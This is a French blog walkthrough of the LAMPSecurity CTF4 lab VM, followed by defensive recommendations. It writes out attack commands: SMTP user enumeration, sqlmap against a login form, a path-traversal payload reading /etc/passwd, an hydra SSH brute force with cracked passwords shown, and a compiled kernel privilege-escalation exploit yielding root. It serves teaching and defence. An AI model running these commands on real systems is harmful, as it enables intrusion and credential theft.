Skip to content

CTF Challenge : Lamp Security 4

Aujourd’hui nous allons étudier le cas du CTF « Lamp Security 4 ». Il s’agit d’un excellent exercice pour apprendre et étendre ses connaissances en sécurité, en attaque comme en défense !

Lorsque je poste des « solutions » de challenge sur mon blog, j’avertis toujours l’utilisateur sur le fait qu’il ne doit les lire qu’une fois qu’il a résolu ce même challenge ou alors qu’il est resté bloqué dessus pendant 7 jours et 7 nuits sans interruption. La raison est simple, les machines virtuelles de ce genre n’ont pour moi absolument pas vocation à être résolue, mais plus à se faire poser à « l’attaquant » les bonnes questions, ce qui améliorera ses connaissances.

Ainsi, ma solution n’est là que pour vous montrer ma façon de faire. Je suis d’ailleurs convaincu qu’il existe plusieurs moyens de résoudre ce CTF, car j’ai croisé des vulnérabilités que je n’ai pas exploitées.

À la fin de la présentation de l’attaque, nous étudierons le plus important pour moi dans une approche CTF : les défenses qui auraient pu être mises en place pour améliorer la protection de cette VM.

Après cette longue introduction, passons à l’action ! 🙂

Téléchargement de Lamp Security 4

Pour les intéressés, voici le lien de téléchargement de la machine virtuelle vulnérable : http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/CTF4/

Vous y trouverez un fichier au format .owa, qui est une appliance virtuelle. Cela peut être ouvert aussi bien avec VMware qu’avec VirtualBox. Pour ma part, j’utiliserais la machine virtuelle sous VMware Workstation, accompagnée d’une distribution KaliLinux pour l’attaque. Le fichier .zip contient directement une machine virtuelle au format VMX pour VMware.

Note : Par défaut, la machine virtuelle ne dispose que de 256 Mo de RAM, pour des opérations de brute force, on peut rapidement en venir à bout. Si vous en avez la possibilité, je vous conseille d’augmenter la RAM allouée à la cible.

Assurez-vous que votre machine d’attaque et votre cible soient sur le même réseau au niveau de vos cartes réseaux virtuelles, la machine CTF4 obtiendra une IP via DHCP.

Phase d’attaque

Une fois que tout est en place, il faut bien entendu commencer par trouver notre cible.

Scanning

Ici, il s’agit d’une machine sur le même réseau que ma machine d’attaque. J’utilise donc mon outil de scan réseau préféré : netdiscover !

Netdiscover ne va pas faire un scan réseau à l’aide de ping ou d’autres techniques IP, mais via de l’ARP, ce qui est beaucoup plus rapide  ! J’ai simplement à lui fournir la plage IP à scanner :

netdiscover -r 192.168.10.0/24

Voici le résultat obtenu :

lampsecurity4-01
Scan réseau avec netdiscover

Après avoir exclu les IP que je connaissais déjà sur mon réseau, j’identifie ma cible sur l’IP 192.168.10.129. Essayons de détecter les services présents. J’utilise pour cela nmap :

nmap -A -T4 -O 192.168.10.129

Voici les services découverts :

22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)
 | ssh-hostkey:
 |   1024 10:4a:18:f8:97:e0:72:27:b5:a4:33:93:3d:aa:9d:ef (DSA)
 |_  2048 e7:70:d3:81:00:41:b8:6e:fd:31:ae:0e:00:ea:5c:b4 (RSA)
25/tcp  open   smtp    Sendmail 8.13.5/8.13.5
 | smtp-commands: ctf4.sas.upenn.edu Hello [192.168.10.130], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP,
 |_ 2.0.0 This is sendmail version 8.13.5 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info
80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
 |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
 | http-robots.txt: 5 disallowed entries
 |_/mail/ /restricted/ /conf/ /sql/ /admin/
 |_http-title:  Prof. Ehks
631/tcp closed ipp

Nous avons donc un service SSH laissé sur le port par défaut (22), un service STMP très bavard, un port 80 avec un robots.txt qui donne quelques idées d’URLs intéressantes et un port 631 fermé.

Explorons tout cela !

Recherche de vulnérabilité

Nous allons maintenant passer à la phase de recherche de vulnérabilité.

Service SMTP

La première chose que l’on peut observer est que le port 25 STMP est particulièrement bavard, on remarque que beaucoup de commandes peuvent y être passées, et notamment EXPN et VRFY. Nous pouvons facilement voir les commandes qui peuvent être passées sur un serveur SMTP en se connectant en Telnet dessus :

telnet 192.168.10.129 25

Il nous « suffit » ensuite de dire bonjour au serveur :

ehlo localhost

Et voici ce qu’il nous répond :

250-ctf4.sas.upenn.edu Hello [192.168.10.130], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-DELIVERBY
250 HELP

Les commandes VRFY et EXPN sont particulièrement intéressantes, je remarque que je les déjà ai croisé dans d’autres CTF, preuve qu’à force d’en faire, on apprend des choses ! 😉

La commande « VRFY » que l’on peut passer au serveur SMTP permet de savoir si une adresse mail existe ou non. Son usage est très pratique pour éviter d’envoyer des mails sur un serveur qui ne leur trouvera pas de destinataire, mais cela permet évidemment de lister les utilisateurs d’un serveur, cela est appelé « l’user enumeration« 

Pour avoir une vision plus claire de cela, faisons quelques tests. On se connecte à nouveau sur le serveur SMTP en Telnet avec la commande vue plus haut, puis on saisit la commande suivante :

VRFY jenexistepas

Voici la réponse obtenue :

550 5.1.1 jenexistepas... User unknown

Nous obtenons en retour « User unknown » et plus précisément un code de retour 550, qui signifie pour SMTP qu’une adresse est inexistante. En revanche, nous connaissons sous Linux un utilisateur qui existera toujours : root

VRFY root

Voici le résultat obtenu  :

250 2.1.5 <root@ctf4.sas.upenn.edu>

Nous obtenons cette fois-ci un code de retour 250 qui signifie en SMTP que tout est OK. Et voilà, nous savons maintenant énumérer les utilisateurs d’une machine grâce à une fonctionnalité SMTP qui est en pratique très utile. C’est en réalité la possibilité de distinguer un comportement quand un utilisateur existe et n’existe pas qui nous permet de faire cela.

La fonctionnalité EXPN permet elle de lister les personnes contenues dans une mailing-list et dans les contextes d’alias. Sous Linux, il existe par exemple par défaut l’alias root, voyons ce que cela donne dans notre cas en saisissant la ligne suivante dans notre connexion Telnet sur le service SMTP de notre cible :

EXPN root

Résultat obtenu en retour :

250 2.1.5 Don Stevens <dstevens@ctf4.sas.upenn.edu>

Et voilà une information supplémentaire, nous obtenons un nom de compte supplémentaire, car l’utilisateur « dstevens » semble être présent dans la mailing-list nommée « root ». On voit en plus la façon dont sont formés les logins utilisateurs à partir de leur nom et prénom.

Cette « faille » de sécurité, qui n’est rien d’autre que l’exploitation malicieuse d’une fonctionnalité du service SMTP, est relativement connue dans le monde de la sécurité, si bien qu’un outil (présent nativement sous KaliLinux) permet de l’exploiter, il s’agit de smtp-user-enum.

Nous allons ici utiliser cet outil, muni d’une liste d’utilisateurs à tester, pour essayer d’obtenir des noms de compte. Sous KaliLinux, un ensemble de liste d’utilisateurs, de mots de passe courants ou de répertoires est disponible dans le répertoire /usr/share/wordlist, nous utiliserons plus spécifiquement la liste /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt avec la commande suivante :

 smtp-user-enum -M VRFY -U /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt  -t 192.168.10.129

Voici les données que nous pourrons récupérer (j’ai volontairement omis de mettre dans l’affichage suivant les utilisateurs relatifs aux services basiques de Linux) :

 192.168.10.129: root exists
 192.168.10.129: toor exists
 192.168.10.129: apache exists
 192.168.10.129: www exists
 192.168.10.129: system exists
 192.168.10.129: operator exists
 192.168.10.129: fax exists
 192.168.10.129: amanda exists

Voici donc quelques utilisateurs qui pourraient nous servir plus tard. Gardons ces informations quelque part et continuons notre investigation.

Service web

Lors du scan fait avec Nmap, plusieurs répertoires ont été découvert via le fichier robots.txt.

Le fichier robots.txt se positionne à la racine des sites web, il s’agit d’une sorte de convention permettant d’indiquer aux robots des moteurs de recherche de ne pas chercher à visiter et indexer les fichiers et répertoires spécifiés. Dans la réalité, si l’on ne souhaite pas qu’un répertoire soit indexé, c’est qu’il contient des informations sensibles, et cela intéressera forcément un attaquant. Voyons ce que contient le fichier robots.txt de notre cible en y allant avec un navigateur :

lampsecurity4-02Plutôt intéressant, n’est-ce-pas ? Le contenu de ce fichier nous fait économiser bien du temps de recherche. Gardons également ces informations.

La partie « normale » du site, c’est-à-dire l’index, contient un blog. Nous y trouvons une page de recherche, un formulaire d’authentification et un espace où sont stockés les articles :

lampsecurity4-03Ici, nous pouvons obtenir une information supplémentaire : le nom des auteurs. Sur la plupart des CMS ou des sites web, le nom affiché est bien souvent le pseudo avec lequel s’authentifie l’auteur sur la plate-forme. Ici, il s’agit de « jdurbin » et de « sorzek ».

Si l’on regarde d’un peu plus près les répertoires spécifiés dans le fichier « robots.txt », nous trouverons un webmail dans le répertoire « /mail », notre formulaire d’authentification dans le répertoire « /admin », une erreur 500 dans le répertoire « /conf », une authentification .htaccess dans le répertoire « /restricted » et un backup de la structure de la base de données du blog dans « /sql », ce qui est un peu plus intéressant que le reste.

En effet, on trouvera en allant sur l’URL « http://192.168.10.129/sql » un fichier « db.sql » contenant les informations suivantes :

lampsecurity4-04C’est toujours intéressant, cela nous permettra par exemple de nous aider dans nos injections SQL si l’on trouve une URL exploitable.

Exploitation

Contournement de la protection du formulaire d’authentification

Ici, nous devons essayer de viser les points d’entrée sur le site web. C’est à dire les possibilités que nous avons d’envoyer des données à l’intérieur du serveur. Nous avons déjà repéré le formulaire de recherche présent dans l’entête du site, mais également le formulaire d’authentification pour les auteurs que l’on peut trouver sur l’URL http://192.168.10.129/admin

Quelques timides tentatives d’injections de caractères spéciaux comme des apostrophes ou des guillemets pour provoquer une erreur dans la syntaxe PHP générée me fait vite comprendre qu’un système de sécurité excluant mes caractères a été mis en place. Généralement, il s’agit d’un système géré par PHP lors de l’affichage comme « htmlspecialchar » ou « htmlentities ». Ces fonctions permettent d’exclure de l’affichage ce type de caractère spécial.

Cependant, si l’on regarde d’un peu plus près le code source de la page du formulaire, on remarque quelque chose d’un peu spécial :

function fixLogin() {
    var test=/[^a-zA-Z0-9]/g;
    document.login_form.username.value=document.login_form.username.value.replace(test, »');
    document.login_form.password.value=document.login_form.password.value.replace(test, »');
}

Il s’agit visiblement d’un script JavaScript qui est déclenché lorsque l’on clique sur « Submit », comme on peut le voir dans le code HTML un peu plus bas :

lampsecurity4-05

Visiblement, ce script permet de remplacer tous les caractères qui ne sont pas des caractères alphanumériques par rien. « replace(test,  ») ». Cela explique pourquoi mes apostrophes et mes guillemets n’ont aucun effet. Néanmoins, il ne s’agit ici que d’un code HTML, qui peut être copié, modifié, etc. J’ai donc procédé à une simple copie de ce formulaire en omettant, volontairement, l’appel du script et le script JavaScript pour que la protection ne soit plus active. En mettant ce formulaire dans un serveur web apache local, il nous suffit seulement d’ajouter dans la partie « action » l’URL complète vers le fichier /admin/index.php qui reçoit et traite les données sur le serveur ciblé.

SQL Injection

Grâce à cette méthode, nous obtenons au final le formulaire d’envoi des données non protégé et l’on peut le viser en local avec des tentatives de compromission. Un premier essai consiste simplement à insérer une apostrophe dans l’un des champs du formulaire que nous avons maintenant en local,cela provoque une erreur :

lampsecurity4-06

L’affichage d’une telle erreur reflète que les caractères spéciaux ne sont plus échappés et que l’on peut potentiellement utiliser une injection SQL pour essayer d’avoir plus d’informations. Nous allons pour cela utiliser un outil très efficace : sqlmap.

Dans la réalité, ce genre d’outil n’est pas utilisé lorsque l’on souhaite se faire discret, car il envoie un très grand nombre de requêtes sur le serveur web et cela peut trahir la présence de l’attaquant. Une petite spécificité ici, nous viser avec sqlmap le script admin/index.php de la cible en lui envoyant les données avec la méthode POST, comme il est spécifié dans le formulaire HTML qui est censé envoyer les données.

 sqlmap -u « http://192.168.10.129/admin/index.php » --data « username=&password=&Submit= » --dbms=mysql -a

N’ayant pas pour volonté d’être discret, j’utilise l’option « -a » qui signifie pour sqlmap d’essayer d’extraire un maximum d’informations de l’exploitation de la faille SQL injection. Cela peut prendre quelques minutes, mais on se retrouve avec des informations très intéressantes comme :

  • La base utilisateur du blog ehks et leur mot de passe
  • La base utilisateur MySQL  et leur mot de passe hashé
  • La base utilisateur de « Calendar » et leur mot de passe

Dès lors, il est possible de s’authentifier sur différents outils comme sur le blog ou sur Calendar.

Faille LFI

Au détour d’une requête, je remarque également que le blog est vulnérable à la faille LFI qui signifie Local File Inclusion. Ces failles sont assez simples à comprendre.

Visiblement, dans l’utilisation normale du blog, nous pouvons avoir les requêtes suivantes :

http://192.168.10.129/index.html?page=blog&title=Blog

On peut comprendre cela comme « je veux afficher la page nommée blog ». Nous pouvons donc imaginer qu’une page dans le répertoire de l’index.php se nomme « blog » ou « blog.php » et qu’il faut spécifier à l’index.php le fichier à afficher dans son contenu. L’idée est donc que l’on peut afficher n’importe quel fichier lisible et atteignable par Apache sur le serveur. Le fichier /etc/passwd, contenant la base d’utilisateur d’un serveur Linux, est par défaut lisible par tout le monde et accessible par un serveur web si on lui demande de remonter l’arborescence des répertoires. Il suffit juste de lui demander :

http://192.168.10.129/index.html?page=../../../../../../etc/passwd%00

Ici, on demande donc à notre index.php d’aller chercher notre fichier /etc/passwd en remontant au préalable les répertoires depuis l’endroit où il se situe (en général, les fichiers d’un site web se situent dans « /var/www/ » ).

Généralement, lorsque l’on spécifie un fichier dans une requête sans extension, Apache va rajouter par défaut « .php » à la fin, dans un premier temps il va donc chercher ../../../../../etc/passwd.php. Ce fichier n’existant pas, nous allons ajouter un espace vide « %00 » à la fin du nom de notre fichier pour empêcher l’ajout de cette extension. On se retrouve au final avec les noms d’utilisateurs créés sur la machine :

 dstevens:x:500:506:Don Stevens:/home/dstevens:/bin/bash
 achen:x:501:501:Andrew Chen:/home/achen:/bin/bash
 pmoore:x:502:502:Phillip Moore:/home/pmoore:/bin/bash
 jdurbin:x:503:503:James Durbin:/home/jdurbin:/bin/bash
 sorzek:x:504:504:Sally Orzek:/home/sorzek:/bin/bash
 ghighland:x:505:505:Greg Highland:/home/ghighland:/bin/bash
 ossec:x:506:508::/var/ossec:/sbin/nologin
 ossecm:x:507:508::/var/ossec:/sbin/nologin
 ossecr:x:508:508::/var/ossec:/sbin/nologin

À partir de cette base utilisateur, il est facile de tenter un brute force SSH sur le serveur afin d’essayer d’obtenir une combinaison valide.

Note : Avant d’utiliser un dictionnaire rempli de mots de passe, je créé un fichier contenant les mots de passe trouvés lors de l’exploitation de l’injection SQL. Il y a en effet de bonnes chances pour que certains utilisateurs utilisent le même mot de passe pour plusieurs services.

Je décide d’utiliser hydra pour effectuer mon brute force SSH. Je crée donc un fichier texte avec mes noms d’utilisateurs, également trouvés lors de l’injection SQL, mais aussi sur le blog par exemple, et un fichier texte avec un mot de passe par ligne. J’utilise le tout dans mon brute force avec la ligne suivante :

hydra -L user.txt -P password.txt ssh://192.168.10.129

Voici le résultat de mon brute force :

 [22][ssh] host: 192.168.10.129   login: dstevens   password: ilike2surf
 [22][ssh] host: 192.168.10.129   login: achen   password: seventysixers
 [22][ssh] host: 192.168.10.129   login: pmoore   password: Homesite
 [22][ssh] host: 192.168.10.129   login: jdurbin   password: Sue1978
 [22][ssh] host: 192.168.10.129   login: sorzek   password: pacman
 [22][ssh] host: 192.168.10.129   login: ghighland   password: undone1

Toutes ces associations utilisateur – mot de passe sont autant de possibilités de lire leurs mails, explorer leur environnements de travail pour voir s’ils ont laissé des traces. L’objectif maintenant étant de passer au plus haut niveau de privilège du serveur : root.

Élévation de privilège

Après avoir parcouru rapidement les fichiers des différents utilisateurs, je tombe sur le mail de l’un d’eux indiquant que gcc a été installé pour des besoins internes. Une chance, gcc permet de compiler du code C et cela est souvent pratique pour compiler les exploits locaux (« local privilege exploit« ). Il faut juste savoir si le kernel est vulnérable à un local privilege exploit. Pour cela, il faut connaître dans un premier temps sa version avec la commande suivante :

uname -a

Après quelques recherches sur internet concernant les local exploits de cette version du kernel Linux, je tombe sur l’exploit suivant : http://www.exploit-db.com/exploits/9542/

Il faut donc l’utiliser, sans vraiment avoir à comprendre ce qu’il fait, ce qui est un peu dommage, mais pour développer des local exploits, il faut un niveau de développement que je n’ai pas encore.

On stocke donc le contenu dans un fichier que l’on peut nommer « localexploit.c » puis on le compile à l’aide de gcc :

gcc localexploit.c -o localexploit

Il nous « suffit » ensuite de l’exécuter, pour passer presque magiquement en root :

[sorzek@ctf4 ~]$ ./localexploit
sh-3.1#
sh-3.1#
sh-3.1# whoami
root

Et voilà, la partie attaque est terminée. J’aimerais préciser qu’il s’agit très certainement de l’une des manières de terminer cet exercice de pentest, je suis convaincu que beaucoup d’autres vulnérabilités sont présentes sur cette VM, mais il faut bien présenter une démarche parmi d’autres 🙂 . Je pense notamment au webmail que je n’ai pas du tout exploré, aux possibilités d’attaque une fois que l’on a réussi à s’authentifier sur la plate-forme de blog et de calendrier, etc…

Défense

Lorsque que j’entame un tel exercice, j’ai toujours deux approches. La première est d’opter pour le mode de réflexion de l’attaquant avec un aspect offensif. Mais cela n’a pas de sens en soit. On ne sera dans la vie réelle, rarement, voire jamais, dans une démarche purement offensive, sans but derrière. La seconde approche pour moi dans ce genre d’exercice, est donc d’observer les faiblesses pour en tirer des apprentissages défensifs.

Nous allons donc maintenant voir ce qui aurait pu être fait pour se protéger, si nous étions les (malheureux) sysadmins de cette machine.

– Contrôler ce qui peut être vu de l’extérieur

Lorsqu’un serveur est en production, et notamment lorsqu’il héberge plusieurs services. Il est nécessaire d’être attentif à ce qui peut être vu de l’extérieur de ce serveur. Peuvent alors être “cachés” ou dissimulés, les numéros version des services comme celui d’Apache qui est particulièrement facile à cacher, les services non standards. Une dissimulation souvent mise en place est le changement de port SSH, nous pouvons par exemple positionner le port SSH vers la fin des ports autorisés comme 60 000. Ainsi, il faudra que l’attaquant scanne l’intégralité des ports TCP pour obtenir l’information comme quoi ce port est ouvert, il aura alors d’autant plus de chance d’être détecté et ou de laisser des traces. Un IDS ou IPS réseau pourra facilement passer à côté d’un scan de trois ports réseau très utilisés comme 80, 443 et 22. Cependant si l’attaquant est obligé de parcourir plusieurs milliers de ports avant de trouver le port SSH, il hésitera peut-être un peu plus.

Également, le fichier robots.txt est très dangereux d’un point de vue information extérieure. Il est certes pratique pour les webmasters ne souhaitant pas indexer certaines informations, mais c’est une mine d’informations très surveillée par les attaquants à la recherche de fichiers ou dossiers sensibles. Il faut donc opter pour des mesures complémentaires comme la protection des répertoires indiqués par une authentification .htaccess par exemple.

Parmi les autres informations confidentielles que nous avons pu obtenir sans avoir eu à faire le moindre effort, il y a eu l’affichage des noms d’auteurs sur les posts du blog. En effet, de nombreux CMS, dont WordPress, proposent par défaut cette configuration. Le nom affiché est également le pseudo utilisé pour l’authentification, il est cependant possible de distinguer pseudo d’authentification et nom d’affichage, et cela est même recommandé pour éviter de divulguer ce genre d’information. A partir des différents noms et également de la connaissance de comment étaient formés les logins à partir des noms et prénoms des utilisateurs, nous avons pu dresser une lister de login valides pour attaquer notre cible.

Contrôler ce qui entre et sort du serveur

Concernant les services fournis par le serveur, il est également important d’éviter les fonctionnalités trop dangereuses. Les commandes VRFY et EXPN par exemple sont assez dangereuses lorsqu’elles sont autorisées, il est donc important de connaître le système mail mis en place et de savoir quelles sont les commandes divulguant trop d’informations, celles pouvant être désactivées sans perturber la fourniture du service, etc. Sur les dernières versions de sendmail par exemple, ces commandes sont par défaut désactivées.

Il est également important de revenir sur la sécurité du formulaire d’authentification. Le développeur a effectivement fait l’effort de le protéger en excluant les caractères spéciaux des chaînes de caractères envoyées, cependant cette protection n’est pas positionnée au bon endroit, car elle peut être supprimée par l’utilisateur. Ce genre de protection doit être positionnée côté serveur, et non côté client. Ainsi, le client pourra plus difficilement comprendre le mécanisme de protection, et ne pourra pas contourner ce code. Plus précisément, la manipulation des caractères reçus aurait ici pu être faite via PHP, voire par certaines fonctions du langage SQL plutôt qu’en Javascript. Différents systèmes intermédiaires peuvent également être positionnées pour rendre plus difficile l’exploitation de faille de sécurité web comme mod_security sur Apache.

– Faille LFI

Concernant les applications web, il faut savoir qu’elles composent la majorité des points faibles dans la sécurité des systèmes d’information. Effectivement, les services web sont parmi les plus exposés et les plus utilisés. Les entreprises cherchent souvent à ce qu’elles délivrent le plus de service aux utilisateurs, ce qui ouvre parfois des failles de sécurité importantes. Les failles XSS et SQL injection font ainsi partie des failles les plus courantes. Ici, nous avons pu exploiter une faille LFI pour arriver à lire le fichier /etc/passwd. Diverses protections existent, notamment sur Apache et via PHP, et permettent d’éviter qu’un script ou une requête puisse monter au-delà d’une certainement arborescence, je pense notamment à Apache ITK ou aux paramètres PHP Openbasedir.

Il faut également être très prudent en ce qui concerne les backups des bases de données SQL. Il est courant de faire des sauvegardes dans des fichiers .sql. Cependant, on oublie parfois de les supprimer. Parmi les autres fichiers qui peuvent être laissés par inadvertance dans des arborescences web, on peut trouver des fichiers ZIP utilisés pour migrer les sites web d’une plate-forme à une autre, des fichiers de configuration, etc.

– Attention aux brutes force

Cela fait également parti des éléments très importants à mettre en place sur un serveur Linux. Les brutes force SSH sont très souvent utilisés, notamment par des robots au travers le web. Il faut alors mettre en place des services comme Fail2Ban ou DenyHost permettant de bloquer une IP à partir d’un certain nombre de tentatives échouées.

– Stockage des informations sensibles dans les environnements utilisateurs

Dans la démarche présentée, je n’ai pas passé beaucoup de temps à explorer les fichiers des utilisateurs, cependant, nous avons pu trouver des mails nous indiquant des informations sensibles. Il est en effet courant que des blocs-notes ou autres pense-bête contenant des mots de passe, des IP, etc. soient trouvés sur les postes utilisés (postes virtuels comme physiques). Il est important de sensibiliser les utilisateurs sur les informations qu’ils stockent, et qui pourraient être lues par un pirate.

– Mettre à jour son système

Une dernière chose, et pas des moindres, il s’agit des mises à jour et des patchs. Ici, le fait que le kernel ne soit pas patché nous a permis de passer root très facilement. Les mises à jour système font partie des éléments les plus critiques dans un SI, car on évite généralement de rebooter un serveur ou d’y effectuer des modifications importantes.

Nous n’avons fait le tour de tout ce qui aurait pu être fait concernant cet exercice. Je vous encourage à adopter une double démarche comme j’ai essayé de le faire ici, avoir le point de vue de l’attaquant est stimulant et très formateur, cependant, il faut également essayer de trouver ce qui aurait pu être fait pour se protéger pour que l’exercice soit complet.

N’hésitez pas à ajouter des informations ou des corrections dans les commentaires si l’envie vous vient ! 🙂

Partager :
Published inChallenges et CTFs

Be First to Comment

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *